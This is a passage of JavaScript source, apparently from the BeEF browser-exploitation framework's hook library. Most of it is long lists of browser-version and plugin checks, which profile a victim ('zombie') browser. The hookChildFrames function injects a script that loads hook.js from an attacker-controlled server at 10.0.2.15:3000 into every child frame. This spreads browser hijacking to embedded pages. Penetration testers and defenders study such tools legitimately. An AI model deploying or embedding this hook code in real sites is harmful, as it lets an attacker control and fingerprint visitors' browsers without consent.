5004 C30iOS: this.isC30iOS(), // Chrome 30 on iOS
5005 C31: this.isC31(), // Chrome 31
5006 C31iOS: this.isC31iOS(), // Chrome 31 on iOS
5007 C32: this.isC32(), // Chrome 32
5008 C32iOS: this.isC32iOS(), // Chrome 32 on iOS
5009 C33: this.isC33(), // Chrome 33
5010 C33iOS: this.isC33iOS(), // Chrome 33 on iOS
5011 C34: this.isC34(), // Chrome 34
5012 C34iOS: this.isC34iOS(), // Chrome 34 on iOS
5013 C35: this.isC35(), // Chrome 35
5014 C35iOS: this.isC35iOS(), // Chrome 35 on iOS
5015 C36: this.isC36(), // Chrome 36
5016 C36iOS: this.isC36iOS(), // Chrome 36 on iOS
5017 C37: this.isC37(), // Chrome 37
5018 C37iOS: this.isC37iOS(), // Chrome 37 on iOS
5019 C38: this.isC38(), // Chrome 38
5020 C38iOS: this.isC38iOS(), // Chrome 38 on iOS
5021 C39: this.isC39(), // Chrome 39
5022 C39iOS: this.isC39iOS(), // Chrome 39 on iOS
5023 C40: this.isC40(), // Chrome 40
5024 C40iOS: this.isC40iOS(), // Chrome 40 on iOS
5025 C41: this.isC41(), // Chrome 41
5026 C41iOS: this.isC41iOS(), // Chrome 41 on iOS
5027 C42: this.isC42(), // Chrome 42
5028 C42iOS: this.isC42iOS(), // Chrome 42 on iOS
5029 C43: this.isC43(), // Chrome 43
5030 C43iOS: this.isC43iOS(), // Chrome 43 on iOS
5031 C44: this.isC44(), // Chrome 44
5032 C44iOS: this.isC44iOS(), // Chrome 44 on iOS
5033 C45: this.isC45(), // Chrome 45
5034 C45iOS: this.isC45iOS(), // Chrome 45 on iOS
5035 C46: this.isC46(), // Chrome 46
5036 C46iOS: this.isC46iOS(), // Chrome 46 on iOS
5037 C47: this.isC47(), // Chrome 47
5038 C47iOS: this.isC47iOS(), // Chrome 47 on iOS
5039 C48: this.isC48(), // Chrome 48
5040 C48iOS: this.isC48iOS(), // Chrome 48 on iOS
5041 C49: this.isC49(), // Chrome 49
5042 C49iOS: this.isC49iOS(), // Chrome 49 on iOS
5043 C50: this.isC50(), // Chrome 50
5044 C50iOS: this.isC50iOS(), // Chrome 50 on iOS
5045 C51: this.isC51(), // Chrome 51
5046 C51iOS: this.isC51iOS(), // Chrome 51 on iOS
5047 C52: this.isC52(), // Chrome 52
5048 C52iOS: this.isC52iOS(), // Chrome 52 on iOS
5049 C53: this.isC53(), // Chrome 53
5050 C53iOS: this.isC53iOS(), // Chrome 53 on iOS
5051 C54: this.isC54(), // Chrome 54
5052 C54iOS: this.isC54iOS(), // Chrome 54 on iOS
5053 C55: this.isC55(), // Chrome 55
5054 C55iOS: this.isC55iOS(), // Chrome 55 on iOS
5055 C56: this.isC56(), // Chrome 56
5056 C56iOS: this.isC56iOS(), // Chrome 56 on iOS
5057 C57: this.isC57(), // Chrome 57
5058 C57iOS: this.isC57iOS(), // Chrome 57 on iOS
5059 C58: this.isC58(), // Chrome 58
5060 C58iOS: this.isC58iOS(), // Chrome 58 on iOS
5061 C63iOS: this.isC63iOS(),
5062 C: this.isC(), // Chrome any version
5063
5064 FF2: this.isFF2(), // Firefox 2
5065 FF3: this.isFF3(), // Firefox 3
5066 FF3_5: this.isFF3_5(), // Firefox 3.5
5067 FF3_6: this.isFF3_6(), // Firefox 3.6
5068 FF4: this.isFF4(), // Firefox 4
5069 FF5: this.isFF5(), // Firefox 5
5070 FF6: this.isFF6(), // Firefox 6
5071 FF7: this.isFF7(), // Firefox 7
5072 FF8: this.isFF8(), // Firefox 8
5073 FF9: this.isFF9(), // Firefox 9
5074 FF10: this.isFF10(), // Firefox 10
5075 FF11: this.isFF11(), // Firefox 11
5076 FF12: this.isFF12(), // Firefox 12
5077 FF13: this.isFF13(), // Firefox 13
5078 FF14: this.isFF14(), // Firefox 14
5079 FF15: this.isFF15(), // Firefox 15
5080 FF16: this.isFF16(), // Firefox 16
5081 FF17: this.isFF17(), // Firefox 17
5082 FF18: this.isFF18(), // Firefox 18
5083 FF19: this.isFF19(), // Firefox 19
5084 FF20: this.isFF20(), // Firefox 20
5085 FF21: this.isFF21(), // Firefox 21
5086 FF22: this.isFF22(), // Firefox 22
5087 FF23: this.isFF23(), // Firefox 23
5088 FF24: this.isFF24(), // Firefox 24
5089 FF25: this.isFF25(), // Firefox 25
5090 FF26: this.isFF26(), // Firefox 26
5091 FF27: this.isFF27(), // Firefox 27
5092 FF28: this.isFF28(), // Firefox 28
5093 FF29: this.isFF29(), // Firefox 29
5094 FF30: this.isFF30(), // Firefox 30
5095 FF31: this.isFF31(), // Firefox 31
5096 FF32: this.isFF32(), // Firefox 32
5097 FF33: this.isFF33(), // Firefox 33
5098 FF34: this.isFF34(), // Firefox 34
5099 FF35: this.isFF35(), // Firefox 35
5100 FF36: this.isFF36(), // Firefox 36
5101 FF37: this.isFF37(), // Firefox 37
5102 FF38: this.isFF38(), // Firefox 38
5103 FF39: this.isFF39(), // Firefox 39
5104 FF40: this.isFF40(), // Firefox 40
5105 FF41: this.isFF41(), // Firefox 41
5106 FF42: this.isFF42(), // Firefox 42
5107 FF43: this.isFF43(), // Firefox 43
5108 FF44: this.isFF44(), // Firefox 44
5109 FF45: this.isFF45(), // Firefox 45
5110 FF46: this.isFF46(), // Firefox 46
5111 FF47: this.isFF47(), // Firefox 47
5112 FF48: this.isFF48(), // Firefox 48
5113 FF49: this.isFF49(), // Firefox 49
5114 FF50: this.isFF50(), // Firefox 50
5115 FF51: this.isFF51(), // Firefox 51
5116 FF52: this.isFF52(), // Firefox 52
5117 FF53: this.isFF53(), // Firefox 53
5118 FF54: this.isFF54(), // Firefox 54
5119 FF55: this.isFF55(), // Firefox 55
5120 FF56: this.isFF56(), // Firefox 56
5121 FF57: this.isFF57(), // Firefox 57
5122 FF58: this.isFF58(), // Firefox 58
5123 FF: this.isFF(), // Firefox any version
5124
5125 IE6: this.isIE6(), // Internet Explorer 6
5126 IE7: this.isIE7(), // Internet Explorer 7
5127 IE8: this.isIE8(), // Internet Explorer 8
5128 IE9: this.isIE9(), // Internet Explorer 9
5129 IE10: this.isIE10(), // Internet Explorer 10
5130 IE11: this.isIE11(), // Internet Explorer 11
5131 IE: this.isIE(), // Internet Explorer any version
5132
5133 O9_52: this.isO9_52(), // Opera 9.50 through 9.52
5134 O9_60: this.isO9_60(), // Opera 9.60 through 9.64
5135 O10: this.isO10(), // Opera 10.xx
5136 O11: this.isO11(), // Opera 11.xx
5137 O12: this.isO12(), // Opera 12.xx
5138 O: this.isO(), // Opera any version
5139
5140 EP: this.isEpi(), // Epiphany any version
5141
5142 S4: this.isS4(), // Safari 4.xx
5143 S5: this.isS5(), // Safari 5.xx
5144 S6: this.isS6(), // Safari 6.x
5145 S7: this.isS7(), // Safari 7.x
5146 S8: this.isS8(), // Safari 8.x
5147 S: this.isS() // Safari any version
5148 }
5149 },
5150
5151 /**
5152 * Returns the major version of the browser being used.
5153 * @return: {String} version number || 'UNKNOWN'.
5154 *
5155 * @example: beef.browser.getBrowserVersion()
5156 */
5157 getBrowserVersion: function () {
5158
5159 if (this.isC5()) {
5160 return '5'
5161 }
5162 ; // Chrome 5
5163 if (this.isC6()) {
5164 return '6'
5165 }
5166 ; // Chrome 6
5167 if (this.isC7()) {
5168 return '7'
5169 }
5170 ; // Chrome 7
5171 if (this.isC8()) {
5172 return '8'
5173 }
5174 ; // Chrome 8
5175 if (this.isC9()) {
5176 return '9'
5177 }
5178 ; // Chrome 9
5179 if (this.isC10()) {
5180 return '10'
5181 }
5182 ; // Chrome 10
5183 if (this.isC11()) {
5184 return '11'
5185 }
5186 ; // Chrome 11
5187 if (this.isC12()) {
5188 return '12'
5189 }
5190 ; // Chrome 12
5191 if (this.isC13()) {
5192 return '13'
5193 }
5194 ; // Chrome 13
5195 if (this.isC14()) {
5196 return '14'
5197 }
5198 ; // Chrome 14
5199 if (this.isC15()) {
5200 return '15'
5201 }
5202 ; // Chrome 15
5203 if (this.isC16()) {
5204 return '16'
5205 }
5206 ; // Chrome 16
5207 if (this.isC17()) {
5208 return '17'
5209 }
5210 ; // Chrome 17
5211 if (this.isC18()) {
5212 return '18'
5213 }
5214 ; // Chrome 18
5215 if (this.isC19()) {
5216 return '19'
5217 }
5218 ; // Chrome 19
5219 if (this.isC19iOS()) {
5220 return '19'
5221 }
5222 ; // Chrome 19 for iOS
5223 if (this.isC20()) {
5224 return '20'
5225 }
5226 ; // Chrome 20
5227 if (this.isC20iOS()) {
5228 return '20'
5229 }
5230 ; // Chrome 20 for iOS
5231 if (this.isC21()) {
5232 return '21'
5233 }
5234 ; // Chrome 21
5235 if (this.isC21iOS()) {
5236 return '21'
5237 }
5238 ; // Chrome 21 for iOS
5239 if (this.isC22()) {
5240 return '22'
5241 }
5242 ; // Chrome 22
5243 if (this.isC22iOS()) {
5244 return '22'
5245 }
5246 ; // Chrome 22 for iOS
5247 if (this.isC23()) {
5248 return '23'
5249 }
5250 ; // Chrome 23
5251 if (this.isC23iOS()) {
5252 return '23'
5253 }
5254 ; // Chrome 23 for iOS
5255 if (this.isC24()) {
5256 return '24'
5257 }
5258 ; // Chrome 24
5259 if (this.isC24iOS()) {
5260 return '24'
5261 }
5262 ; // Chrome 24 for iOS
5263 if (this.isC25()) {
5264 return '25'
5265 }
5266 ; // Chrome 25
5267 if (this.isC25iOS()) {
5268 return '25'
5269 }
5270 ; // Chrome 25 for iOS
5271 if (this.isC26()) {
5272 return '26'
5273 }
5274 ; // Chrome 26
5275 if (this.isC26iOS()) {
5276 return '26'
5277 }
5278 ; // Chrome 26 for iOS
5279 if (this.isC27()) {
5280 return '27'
5281 }
5282 ; // Chrome 27
5283 if (this.isC27iOS()) {
5284 return '27'
5285 }
5286 ; // Chrome 27 for iOS
5287 if (this.isC28()) {
5288 return '28'
5289 }
5290 ; // Chrome 28
5291 if (this.isC28iOS()) {
5292 return '28'
5293 }
5294 ; // Chrome 28 for iOS
5295 if (this.isC29()) {
5296 return '29'
5297 }
5298 ; // Chrome 29
5299 if (this.isC29iOS()) {
5300 return '29'
5301 }
5302 ; // Chrome 29 for iOS
5303 if (this.isC30()) {
5304 return '30'
5305 }
5306 ; // Chrome 30
5307 if (this.isC30iOS()) {
5308 return '30'
5309 }
5310 ; // Chrome 30 for iOS
5311 if (this.isC31()) {
5312 return '31'
5313 }
5314 ; // Chrome 31
5315 if (this.isC31iOS()) {
5316 return '31'
5317 }
5318 ; // Chrome 31 for iOS
5319 if (this.isC32()) {
5320 return '32'
5321 }
5322 ; // Chrome 32
5323 if (this.isC32iOS()) {
5324 return '32'
5325 }
5326 ; // Chrome 32 for iOS
5327 if (this.isC33()) {
5328 return '33'
5329 }
5330 ; // Chrome 33
5331 if (this.isC33iOS()) {
5332 return '33'
5333 }
5334 ; // Chrome 33 for iOS
5335 if (this.isC34()) {
5336 return '34'
5337 }
5338 ; // Chrome 34
5339 if (this.isC34iOS()) {
5340 return '34'
5341 }
5342 ; // Chrome 34 for iOS
5343 if (this.isC35()) {
5344 return '35'
5345 }
5346 ; // Chrome 35
5347 if (this.isC35iOS()) {
5348 return '35'
5349 }
5350 ; // Chrome 35 for iOS
5351 if (this.isC36()) {
5352 return '36'
5353 }
5354 ; // Chrome 36
5355 if (this.isC36iOS()) {
5356 return '36'
5357 }
5358 ; // Chrome 36 for iOS
5359 if (this.isC37()) {
5360 return '37'
5361 }
5362 ; // Chrome 37
5363 if (this.isC37iOS()) {
5364 return '37'
5365 }
5366 ; // Chrome 37 for iOS
5367 if (this.isC38()) {
5368 return '38'
5369 }
5370 ; // Chrome 38
5371 if (this.isC38iOS()) {
5372 return '38'
5373 }
5374 ; // Chrome 38 for iOS
5375 if (this.isC39()) {
5376 return '39'
5377 }
5378 ; // Chrome 39
5379 if (this.isC39iOS()) {
5380 return '39'
5381 }
5382 ; // Chrome 39 for iOS
5383 if (this.isC40()) {
5384 return '40'
5385 }
5386 ; // Chrome 40
5387 if (this.isC40iOS()) {
5388 return '40'
5389 }
5390 ; // Chrome 40 for iOS
5391 if (this.isC41()) {
5392 return '41'
5393 }
5394 ; // Chrome 41
5395 if (this.isC41iOS()) {
5396 return '41'
5397 }
5398 ; // Chrome 41 for iOS
5399 if (this.isC42()) {
5400 return '42'
5401 }
5402 ; // Chrome 42
5403 if (this.isC42iOS()) {
5404 return '42'
5405 }
5406 ; // Chrome 42 for iOS
5407 if (this.isC43()) {
5408 return '43'
5409 }
5410 ; // Chrome 43
5411 if (this.isC43iOS()) {
5412 return '43'
5413 }
5414 ; // Chrome 43 for iOS
5415 if (this.isC44()) {
5416 return '44'
5417 }
5418 ; // Chrome 44
5419 if (this.isC44iOS()) {
5420 return '44'
5421 }
5422 ; // Chrome 44 for iOS
5423 if (this.isC45()) {
5424 return '45'
5425 }
5426 ; // Chrome 45
5427 if (this.isC45iOS()) {
5428 return '45'
5429 }
5430 ; // Chrome 45 for iOS
5431 if (this.isC46()) {
5432 return '46'
5433 }
5434 ;// Chrome 46
5435 if (this.isC46iOS()) {
5436 return '46'
5437 }
5438 ; // Chrome 46 for iOS
5439 if (this.isC47()) {
5440 return '47'
5441 }
5442 ;// Chrome 47
5443 if (this.isC47iOS()) {
5444 return '47'
5445 }
5446 ; // Chrome 47 for iOS
5447 if (this.isC48()) {
5448 return '48'
5449 }
5450 ;// Chrome 48
5451 if (this.isC48iOS()) {
5452 return '48'
5453 }
5454 ; // Chrome 48 for iOS
5455 if (this.isC49()) {
5456 return '49'
5457 }
5458 ;// Chrome 49
5459 if (this.isC49iOS()) {
5460 return '49'
5461 }
5462 ; // Chrome 49 for iOS
5463 if (this.isC50()) {
5464 return '50'
5465 }
5466 ;// Chrome 50
5467 if (this.isC50iOS()) {
5468 return '50'
5469 }
5470 ; // Chrome 50 for iOS
5471 if (this.isC51()) {
5472 return '51'
5473 }
5474 ;// Chrome 51
5475 if (this.isC51iOS()) {
5476 return '51'
5477 }
5478 ; // Chrome 51 for iOS
5479 if (this.isC52()) {
5480 return '52'
5481 }
5482 ;// Chrome 52
5483 if (this.isC52iOS()) {
5484 return '52'
5485 }
5486 ; // Chrome 52 for iOS
5487 if (this.isC53()) {
5488 return '53'
5489 }
5490 ;// Chrome 53
5491 if (this.isC53iOS()) {
5492 return '53'
5493 }
5494 ; // Chrome 53 for iOS
5495 if (this.isC54()) {
5496 return '54'
5497 }
5498 ;// Chrome 54
5499 if (this.isC54iOS()) {
5500 return '54'
5501 }
5502 ; // Chrome 54 for iOS
5503 if (this.isC55()) {
5504 return '55'
5505 }
5506 ;// Chrome 55
5507 if (this.isC55iOS()) {
5508 return '55'
5509 }
5510 ; // Chrome 55 for iOS
5511 if (this.isC56()) {
5512 return '56'
5513 }
5514 ;// Chrome 56
5515 if (this.isC56iOS()) {
5516 return '56'
5517 }
5518 ; // Chrome 56 for iOS
5519 if (this.isC57()) {
5520 return '57'
5521 }
5522 ;// Chrome 57
5523 if (this.isC57iOS()) {
5524 return '57'
5525 }
5526 ; // Chrome 57 for iOS
5527 if (this.isC58()) {
5528 return '58'
5529 }
5530 ;// Chrome 58
5531 if (this.isC58iOS()) {
5532 return '58'
5533 }
5534 ; // Chrome 58 for iOS
5535
5536
5537 if (this.isFF2()) {
5538 return '2'
5539 }
5540 ; // Firefox 2
5541 if (this.isFF3()) {
5542 return '3'
5543 }
5544 ; // Firefox 3
5545 if (this.isFF3_5()) {
5546 return '3.5'
5547 }
5548 ; // Firefox 3.5
5549 if (this.isFF3_6()) {
5550 return '3.6'
5551 }
5552 ; // Firefox 3.6
5553 if (this.isFF4()) {
5554 return '4'
5555 }
5556 ; // Firefox 4
5557 if (this.isFF5()) {
5558 return '5'
5559 }
5560 ; // Firefox 5
5561 if (this.isFF6()) {
5562 return '6'
5563 }
5564 ; // Firefox 6
5565 if (this.isFF7()) {
5566 return '7'
5567 }
5568 ; // Firefox 7
5569 if (this.isFF8()) {
5570 return '8'
5571 }
5572 ; // Firefox 8
5573 if (this.isFF9()) {
5574 return '9'
5575 }
5576 ; // Firefox 9
5577 if (this.isFF10()) {
5578 return '10'
5579 }
5580 ; // Firefox 10
5581 if (this.isFF11()) {
5582 return '11'
5583 }
5584 ; // Firefox 11
5585 if (this.isFF12()) {
5586 return '12'
5587 }
5588 ; // Firefox 12
5589 if (this.isFF13()) {
5590 return '13'
5591 }
5592 ; // Firefox 13
5593 if (this.isFF14()) {
5594 return '14'
5595 }
5596 ; // Firefox 14
5597 if (this.isFF15()) {
5598 return '15'
5599 }
5600 ; // Firefox 15
5601 if (this.isFF16()) {
5602 return '16'
5603 }
5604 ; // Firefox 16
5605 if (this.isFF17()) {
5606 return '17'
5607 }
5608 ; // Firefox 17
5609 if (this.isFF18()) {
5610 return '18'
5611 }
5612 ; // Firefox 18
5613 if (this.isFF19()) {
5614 return '19'
5615 }
5616 ; // Firefox 19
5617 if (this.isFF20()) {
5618 return '20'
5619 }
5620 ; // Firefox 20
5621 if (this.isFF21()) {
5622 return '21'
5623 }
5624 ; // Firefox 21
5625 if (this.isFF22()) {
5626 return '22'
5627 }
5628 ; // Firefox 22
5629 if (this.isFF23()) {
5630 return '23'
5631 }
5632 ; // Firefox 23
5633 if (this.isFF24()) {
5634 return '24'
5635 }
5636 ; // Firefox 24
5637 if (this.isFF25()) {
5638 return '25'
5639 }
5640 ; // Firefox 25
5641 if (this.isFF26()) {
5642 return '26'
5643 }
5644 ; // Firefox 26
5645 if (this.isFF27()) {
5646 return '27'
5647 }
5648 ; // Firefox 27
5649 if (this.isFF28()) {
5650 return '28'
5651 }
5652 ; // Firefox 28
5653 if (this.isFF29()) {
5654 return '29'
5655 }
5656 ; // Firefox 29
5657 if (this.isFF30()) {
5658 return '30'
5659 }
5660 ; // Firefox 30
5661 if (this.isFF31()) {
5662 return '31'
5663 }
5664 ; // Firefox 31
5665 if (this.isFF32()) {
5666 return '32'
5667 }
5668 ; // Firefox 32
5669 if (this.isFF33()) {
5670 return '33'
5671 }
5672 ; // Firefox 33
5673 if (this.isFF34()) {
5674 return '34'
5675 }
5676 ; // Firefox 34
5677 if (this.isFF35()) {
5678 return '35'
5679 }
5680 ; // Firefox 35
5681 if (this.isFF36()) {
5682 return '36'
5683 }
5684 ; // Firefox 36
5685 if (this.isFF37()) {
5686 return '37'
5687 }
5688 ; // Firefox 37
5689 if (this.isFF38()) {
5690 return '38'
5691 }
5692 ; // Firefox 38
5693 if (this.isFF39()) {
5694 return '39'
5695 }
5696 ; // Firefox 39
5697 if (this.isFF40()) {
5698 return '40'
5699 }
5700 ; // Firefox 40
5701 if (this.isFF41()) {
5702 return '41'
5703 }
5704 ; // Firefox 41
5705 if (this.isFF42()) {
5706 return '42'
5707 }
5708 ; // Firefox 42
5709 if (this.isFF43()) {
5710 return '43'
5711 }
5712 ; // Firefox 43
5713 if (this.isFF44()) {
5714 return '44'
5715 }
5716 ; // Firefox 44
5717 if (this.isFF45()) {
5718 return '45'
5719 }
5720 ; // Firefox 45
5721 if (this.isFF46()) {
5722 return '46'
5723 }
5724 ; // Firefox 46
5725 if (this.isFF47()) {
5726 return '47'
5727 }
5728 ; // Firefox 47
5729 if (this.isFF48()) {
5730 return '48'
5731 }
5732 ; // Firefox 48
5733 if (this.isFF49()) {
5734 return '49'
5735 }
5736 ; // Firefox 49
5737 if (this.isFF50()) {
5738 return '50'
5739 }
5740 ; // Firefox 50
5741 if (this.isFF51()) {
5742 return '51'
5743 }
5744 ; // Firefox 51
5745 if (this.isFF52()) {
5746 return '52'
5747 }
5748 ; // Firefox 52
5749 if (this.isFF53()) {
5750 return '53'
5751 }
5752 ; // Firefox 53
5753 if (this.isFF54()) {
5754 return '54'
5755 }
5756 ; // Firefox 54
5757 if (this.isFF55()) {
5758 return '55'
5759 }
5760 ; // Firefox 55
5761 if (this.isFF56()) {
5762 return '56'
5763 }
5764 ; // Firefox 56
5765 if (this.isFF57()) {
5766 return '57'
5767 }
5768 ; // Firefox 57
5769 if (this.isFF58()) {
5770 return '58'
5771 }
5772 ; // Firefox 58
5773
5774 if (this.isIE6()) {
5775 return '6'
5776 }
5777 ; // Internet Explorer 6
5778 if (this.isIE7()) {
5779 return '7'
5780 }
5781 ; // Internet Explorer 7
5782 if (this.isIE8()) {
5783 return '8'
5784 }
5785 ; // Internet Explorer 8
5786 if (this.isIE9()) {
5787 return '9'
5788 }
5789 ; // Internet Explorer 9
5790 if (this.isIE10()) {
5791 return '10'
5792 }
5793 ; // Internet Explorer 10
5794 if (this.isIE11()) {
5795 return '11'
5796 }
5797 ; // Internet Explorer 11
5798
5799 if (this.isEdge()) {
5800 return '1'
5801 }
5802 ; // Microsoft Edge
5803
5804 if (this.isEpi()) {
5805 // believe the UserAgent string for version info - until whenever
5806 var epiphanyRe = /Epiphany\/(\d+)/;
5807 var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
5808 if (versionDetails.length > 1) {
5809 return versionDetails[1];
5810 } else {
5811 return "UNKNOWN"; // returns from here or it may take Safari version details
5812 }
5813 }
5814 ; // Epiphany
5815
5816 if (this.isS4()) {
5817 return '4'
5818 }
5819 ; // Safari 4
5820 if (this.isS5()) {
5821 return '5'
5822 }
5823 ; // Safari 5
5824 if (this.isS6()) {
5825 return '6'
5826 }
5827 ; // Safari 6
5828
5829 if (this.isS7()) {
5830 return '7'
5831 }
5832 ; // Safari 7
5833 if (this.isS8()) {
5834 return '8'
5835 }
5836 ; // Safari 8
5837
5838 if (this.isO9_52()) {
5839 return '9.5'
5840 }
5841 ; // Opera 9.5x
5842 if (this.isO9_60()) {
5843 return '9.6'
5844 }
5845 ; // Opera 9.6
5846 if (this.isO10()) {
5847 return '10'
5848 }
5849 ; // Opera 10.xx
5850 if (this.isO11()) {
5851 return '11'
5852 }
5853 ; // Opera 11.xx
5854 if (this.isO12()) {
5855 return '12'
5856 }
5857 ; // Opera 12.xx
5858
5859 return 'UNKNOWN'; // Unknown UA
5860 },
5861
5862 /**
5863 * Returns the type of user agent by hooked browser.
5864 * @return: {String} User agent software.
5865 *
5866 * @example: beef.browser.getBrowserName()
5867 */
5868 getBrowserName: function () {
5869
5870 if (this.isC()) {
5871 return 'C'
5872 }
5873 ; // Chrome any version
5874 if (this.isFF()) {
5875 return 'FF'
5876 }
5877 ; // Firefox any version
5878 if (this.isIE()) {
5879 return 'IE'
5880 }
5881 ; // Internet Explorer any version
5882 if (this.isEdge()) {
5883 return 'E'
5884 }
5885 ; // Microsoft Edge any version
5886 if (this.isO()) {
5887 return 'O'
5888 }
5889 ; // Opera any version
5890 if (this.isEpi()) {
5891 return 'EP'
5892 }
5893 ; // Epiphany any version
5894 if (this.isS()) {
5895 return 'S'
5896 }
5897 ; // Safari any version
5898 if (this.isA()) {
5899 return 'A'
5900 }
5901 ; // Avant any version
5902 if (this.isMidori()) {
5903 return 'MI'
5904 }
5905 ; // Midori any version
5906 if (this.isOdyssey()) {
5907 return 'OD'
5908 }
5909 ; // Odyssey any version
5910 if (this.isBrave()) {
5911 return 'BR'
5912 }
5913 ; // Brave any version
5914 return 'UNKNOWN'; // Unknown UA
5915 },
5916
5917 /**
5918 * Hooks all child frames in the current window
5919 * Restricted by same-origin policy
5920 */
5921 hookChildFrames: function () {
5922
5923 // create script object
5924 var script = document.createElement('script');
5925 script.type = 'text/javascript';
5926 script.src = 'http://10.0.2.15:3000/hook.js';
5927
5928 // loop through child frames
5929 for (var i = 0; i < self.frames.length; i++) {
5930 try {
5931 // append hook script
5932 self.frames[i].document.body.appendChild(script);
5933 beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
5934 } catch (e) {
5935 // warn on cross-origin
5936 beef.debug("Hooking child frame failed: " + e.message);
5937 }
5938 }
5939 },
5940
5941 /**
5942 * Checks if the zombie has flash installed and enabled.
5943 * @return: {Boolean} true or false.
5944 *
5945 * @example: if(beef.browser.hasFlash()) { ... }
5946 */
5947 hasFlash: function () {
5948 if (!this.type().IE) {
5949 return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
5950 } else {
5951 flash_versions = 12;
5952 flash_installed = false;
5953
5954
5955 if (this.type().IE11) {
5956 flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
5957 } else {
5958 if (window.ActiveXObject != null) {
5959 for (x = 2; x <= flash_versions; x++) {
5960 try {
5961 Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
5962 if (Flash) {
5963 flash_installed = true;
5964 }
5965 } catch (e) {
5966 beef.debug("Creating Flash ActiveX object failed: " + e.message);
5967 }
5968 }
5969 }
5970 }
5971 return flash_installed;
5972 }
5973 },
5974
5975 /**
5976 * Checks if the zombie has the QuickTime plugin installed.
5977 * @return: {Boolean} true or false.
5978 *
5979 * @example: if ( beef.browser.hasQuickTime() ) { ... }
5980 */
5981 hasQuickTime: function () {
5982
5983 var quicktime = false;
5984
5985 if (this.capabilities()["navigator.plugins"]) {
5986
5987 for (i = 0; i < navigator.plugins.length; i++) {
5988
5989 if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
5990 quicktime = true;
5991 }
5992
5993 }
5994
5995 // Has navigator.plugins
5996 } else {
5997
5998 try {
5999
6000 var qt_test = new ActiveXObject('QuickTime.QuickTime');
6001
6002 } catch (e) {
6003 beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
6004 }
6005
6006 if (qt_test) {
6007 quicktime = true;
6008 }
6009
6010 }
6011
6012 return quicktime;
6013
6014 },
6015
6016 /**
6017 * Checks if the zombie has the RealPlayer plugin installed.
6018 * @return: {Boolean} true or false.
6019 *
6020 * @example: if ( beef.browser.hasRealPlayer() ) { ... }
6021 */
6022 hasRealPlayer: function () {
6023
6024 var realplayer = false;
6025
6026 if (this.capabilities()["navigator.plugins"]) {
6027
6028
6029 for (i = 0; i < navigator.plugins.length; i++) {
6030
6031 if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
6032 realplayer = true;
6033 }
6034
6035 }
6036
6037 // has navigator.plugins
6038 } else {
6039
6040 var definedControls = [
6041 'RealPlayer',
6042 'rmocx.RealPlayer G2 Control',
6043 'rmocx.RealPlayer G2 Control.1',
6044 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
6045 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
6046 ];
6047
6048 for (var i = 0; i < definedControls.length; i++) {
6049
6050 try {
6051 var rp_test = new ActiveXObject(definedControls[i]);
6052 } catch (e) {
6053 beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
6054 }
6055
6056 if (rp_test) {
6057 realplayer = true;
6058
6059 }
6060 }
6061 }
6062
6063 return realplayer;
6064
6065 },
6066
6067 /**
6068 * Checks if the zombie has the Windows Media Player plugin installed.
6069 * @return: {Boolean} true or false.
6070 *
6071 * @example: if ( beef.browser.hasWMP() ) { ... }
6072 */
6073 hasWMP: function () {
6074
6075 var wmp = false;
6076
6077 if (this.capabilities()["navigator.plugins"]) {
6078
6079
6080 for (i = 0; i < navigator.plugins.length; i++) {
6081
6082 if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
6083 wmp = true;
6084 }
6085
6086 }
6087
6088 // Has navigator.plugins
6089 } else {
6090
6091 try {
6092
6093 var wmp_test = new ActiveXObject('WMPlayer.OCX');
6094
6095 } catch (e) {
6096 beef.debug("Creating WMP ActiveX object failed: " + e.message);
6097 }
6098
6099 if (wmp_test) {
6100 wmp = true;
6101 }
6102
6103 }
6104
6105 return wmp;
6106
6107 },
6108
6109 /**
6110 * Checks if VLC is installed
6111 * @return: {Boolean} true or false
6112 **/
6113 hasVLC: function () {
6114 var vlc = false;
6115 if (!this.type().IE) {
6116 for (i = 0; i < navigator.plugins.length; i++) {
6117 if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
6118 vlc = true;
6119 }
6120 }
6121 } else {
6122 try {
6123 control = new ActiveXObject("VideoLAN.VLCPlugin.2");
6124 vlc = true;
6125 } catch (e) {
6126 beef.debug("Creating VLC ActiveX object failed: " + e.message);
6127 }
6128 }
6129 return vlc;
6130 },
6131
6132 /**
6133 * Checks if the zombie has Java enabled.
6134 * @return: {Boolean} true or false.
6135 *
6136 * @example: if(beef.browser.javaEnabled()) { ... }
6137 */
6138 javaEnabled: function () {
6139
6140 return navigator.javaEnabled();
6141
6142 },
6143
6144 /**
6145 * Checks if the Phonegap API is available from the hooked origin.
6146 * @return: {Boolean} true or false.
6147 *
6148 * @example: if(beef.browser.hasPhonegap()) { ... }
6149 */
6150 hasPhonegap: function () {
6151 var result = false;
6152
6153 try {
6154 if (!!device.phonegap || !!device.cordova) result = true; else result = false;
6155 }
6156 catch (e) {
6157 result = false;
6158 }
6159 return result;
6160 },
6161
6162 /**
6163 * Checks if the browser supports CORS
6164 * @return: {Boolean} true or false.
6165 *
6166 * @example: if(beef.browser.hasCors()) { ... }
6167 */
6168 hasCors: function () {
6169 if ('withCredentials' in new XMLHttpRequest())
6170 return true;
6171 else if (typeof XDomainRequest !== "undefined")
6172 return true;
6173 else
6174 return false;
6175 },
6176
6177 /**
6178 * Checks if the zombie has Java installed and enabled.
6179 * @return: {Boolean} true or false.
6180 *
6181 * @example: if(beef.browser.hasJava()) { ... }
6182 */
6183 hasJava: function () {
6184 if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
6185 return true;
6186 } else {
6187 return false;
6188 }
6189 },
6190
6191 /**
6192 * Checks if the zombie has VBScript enabled.
6193 * @return: {Boolean} true or false.
6194 *
6195 * @example: if(beef.browser.hasVBScript()) { ... }
6196 */
6197 hasVBScript: function () {
6198 if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
6199 return true;
6200 } else {
6201 return false;
6202 }
6203 },
6204
6205 /**
